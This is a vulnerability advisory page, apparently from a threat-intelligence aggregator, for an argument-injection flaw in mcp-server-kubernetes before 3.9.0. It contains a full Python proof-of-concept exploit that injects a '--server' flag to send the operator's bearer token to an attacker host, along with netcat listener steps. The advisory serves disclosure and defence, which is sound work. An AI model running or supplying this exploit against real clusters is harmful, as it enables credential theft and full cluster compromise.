CVE-2026-61459: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') in Flux159 mcp-server-kubernetes
CVE-2026-61459 is a critical argument injection vulnerability in Flux159 mcp-server-kubernetes versions before 3.9.0. It affects structured tools such as kubectl_get, kubectl_describe, and kubectl_delete by allowing attackers to bypass security checks via crafted resourceType and name parameters with leading dashes. This enables injection of the --server flag, redirecting kubectl commands to an attacker-controlled API server, exposing the operator's bearer token and potentially leading to full cluster compromise.
AI Analysis
Technical Summary
The vulnerability in Flux159 mcp-server-kubernetes prior to version 3.9.0 involves improper neutralization of argument delimiters in command inputs. Attackers can supply resourceType and name parameters starting with dashes to bypass the assertNoDangerousFlags security check. This allows injection of the --server flag into kubectl commands, redirecting them to a malicious API server. Consequently, the operator's bearer token is leaked externally, enabling an attacker to gain full control over the Kubernetes cluster.
Potential Impact
Successful exploitation results in disclosure of the operator's bearer token to an attacker-controlled server, enabling full compromise of the Kubernetes cluster managed by mcp-server-kubernetes. This represents a critical security breach with high confidentiality, integrity, and availability impacts.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade mcp-server-kubernetes to version 3.9.0 or later to remediate this issue. No additional mitigation steps are indicated beyond applying the official fix.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: mcp-server-kubernetes 3.8.x - Argument Injection # CVE: CVE-2026-61459 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/Flux159/mcp-server-kubernetes # Software Link: https://github.com/Flux159/mcp-server-kubernetes # Affected: mcp-server-kubernetes < 3.9.0 # Tested on: mcp-server-kubernetes <= 3.8.x # Category: Remote # Platform: Linux # Exploit Type: Argument Injection # CVSS: 9.3 # Description: Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration. # Fixed in: 3.9.0 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443 # # Options: # --target MCP Server URL (JSON-RPC endpoint) # --attacker Attacker-controlled Kubernetes API server URL # # Notes: # • Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client) # • Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token # # How to Use # # Step 1: # Start listener: nc -lvnp 6443 # # Step 2: # Run exploit with attacker URL def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import requests import json import argparse import sys def main(): banner() parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection") parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)") parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)") parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit") parser.add_argument("--namespace", default="default", help="Kubernetes namespace") args = parser.parse_args() # Malicious payload - inject --server via resourceType payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": args.tool, "arguments": { "resourceType": f"--server={args.attacker}", "name": "dummy-pod", "namespace": args.namespace, "output": "json" } }, "id": 1 } print(f"[+] Sending exploit to {args.target} using {args.tool}") print(f"[+] Attacker server: {args.attacker}") print("[+] Waiting for token exfiltration...") try: response = requests.post( args.target, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"[+] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully. Check your listener for the bearer token!") else: print(f"[-] Unexpected response: {response.text[:500]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>") sys.exit(1) main()
CVE-2026-61459: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') in Flux159 mcp-server-kubernetes
Description
CVE-2026-61459 is a critical argument injection vulnerability in Flux159 mcp-server-kubernetes versions before 3.9.0. It affects structured tools such as kubectl_get, kubectl_describe, and kubectl_delete by allowing attackers to bypass security checks via crafted resourceType and name parameters with leading dashes. This enables injection of the --server flag, redirecting kubectl commands to an attacker-controlled API server, exposing the operator's bearer token and potentially leading to full cluster compromise.
CVSS v4.0
Score 9.3critical
Affected software
pkg:github/mcp-server-kubernetesRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in Flux159 mcp-server-kubernetes prior to version 3.9.0 involves improper neutralization of argument delimiters in command inputs. Attackers can supply resourceType and name parameters starting with dashes to bypass the assertNoDangerousFlags security check. This allows injection of the --server flag into kubectl commands, redirecting them to a malicious API server. Consequently, the operator's bearer token is leaked externally, enabling an attacker to gain full control over the Kubernetes cluster.
Potential Impact
Successful exploitation results in disclosure of the operator's bearer token to an attacker-controlled server, enabling full compromise of the Kubernetes cluster managed by mcp-server-kubernetes. This represents a critical security breach with high confidentiality, integrity, and availability impacts.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade mcp-server-kubernetes to version 3.9.0 or later to remediate this issue. No additional mitigation steps are indicated beyond applying the official fix.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-07-09T14:07:55.624Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for mcp-server-kubernetes 3.8.x - Argument Injection
#!/usr/bin/env python3 # Exploit Title: mcp-server-kubernetes 3.8.x - Argument Injection # CVE: CVE-2026-61459 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/Flux159/mcp-server-kubernetes # Software Link:... (3642 more characters)
Threat ID: 6a5141ed68715ace4309dbac
Added to database: 07/10/2026, 19:03:09 UTC
Last enriched: 08/11/2026, 21:08:40 UTC
Last updated: 08/24/2026, 20:55:49 UTC
Views: 237
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.